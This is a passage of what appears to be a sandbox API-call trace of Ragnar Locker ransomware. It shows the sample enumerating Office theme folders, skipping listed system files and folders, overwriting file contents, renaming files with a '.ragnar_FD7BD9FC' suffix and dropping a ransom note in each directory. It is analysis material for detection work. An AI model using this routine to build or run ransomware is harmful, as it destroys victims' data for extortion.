returned 1 [0075.799] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="iconcache.db") returned 1 [0075.799] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="ntldr") returned 1 [0075.799] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="ntuser.dat") returned 1 [0075.799] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="ntuser.dat.log") returned 1 [0075.799] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="ntuser.ini") returned 1 [0075.799] lstrcmpiW (lpString1="RICEPAPR.INF", lpString2="thumbs.db") returned -1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0075.799] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0075.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf")) returned 0x20 [0075.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.800] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=569) returned 1 [0075.800] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.800] GetProcessHeap () returned 0x580000 [0075.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.800] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.801] VirtualAlloc (lpAddress=0x0, dwSize=0x239, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.801] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.801] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.801] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x239, lpOverlapped=0x0) returned 1 [0075.802] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.802] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x239, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.802] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x239, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x239, lpOverlapped=0x0) returned 1 [0075.802] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x239, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.802] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.802] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x239, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.802] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.802] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.802] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.802] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.802] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.802] GetProcessHeap () returned 0x580000 [0075.802] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.802] CloseHandle (hObject=0x100) returned 1 [0075.803] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" [0075.803] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.ragnar_FD7BD9FC" [0075.803] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.803] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.803] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0075.803] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.803] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned=".PNG" [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.803] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.804] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.804] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0075.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.804] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=53115) returned 1 [0075.804] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xcf72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.804] GetProcessHeap () returned 0x580000 [0075.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.804] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.806] VirtualAlloc (lpAddress=0x0, dwSize=0xcf7b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.806] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.806] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.806] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcf7b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xcf7b, lpOverlapped=0x0) returned 1 [0075.808] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.808] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcf7b, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.808] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcf7b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xcf7b, lpOverlapped=0x0) returned 1 [0075.809] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcf7b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.809] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.809] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xcf7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.809] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.809] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.809] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.809] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.810] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.810] GetProcessHeap () returned 0x580000 [0075.810] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.810] CloseHandle (hObject=0x100) returned 1 [0075.810] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" [0075.810] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0075.810] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.810] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.810] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0075.810] lstrcmpiW (lpString1="RIPPLE", lpString2=".") returned 1 [0075.810] lstrcmpiW (lpString1="RIPPLE", lpString2="..") returned 1 [0075.810] lstrcmpiW (lpString1="RIPPLE", lpString2="Windows") returned -1 [0075.810] lstrcmpiW (lpString1="RIPPLE", lpString2="Windows.old") returned -1 [0075.810] lstrcmpiW (lpString1="RIPPLE", lpString2="Tor browser") returned -1 [0075.810] lstrcmpiW (lpString1="RIPPLE", lpString2="Internet Explorer") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="Google") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="Opera") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="Opera Software") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="Mozilla") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="Mozilla Firefox") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="$Recycle.Bin") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="ProgramData") returned 1 [0075.811] lstrcmpiW (lpString1="RIPPLE", lpString2="All Users") returned 1 [0075.811] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0075.811] lstrcpyW (in: lpString1=0x1eb638, lpString2="RIPPLE" | out: lpString1="RIPPLE") returned="RIPPLE" [0075.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\" [0075.811] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\" [0075.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RGNR_FD7BD9FC.txt" [0075.811] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0075.813] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*" [0075.813] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.813] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.813] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f6eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.813] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f6eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.813] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0075.813] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.813] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0075.813] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f6eb8c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f6eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.813] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.813] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0075.813] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2=".") returned 1 [0075.813] lstrcmpiW (lpString1="RIPPLE.ELM", lpString2="..") returned 1 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0075.813] lstrcmpiW (lpString1="RIPPLE.INF", lpString2=".") returned 1 [0075.813] lstrcmpiW (lpString1="RIPPLE.INF", lpString2="..") returned 1 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.813] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0075.813] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0075.813] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.813] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 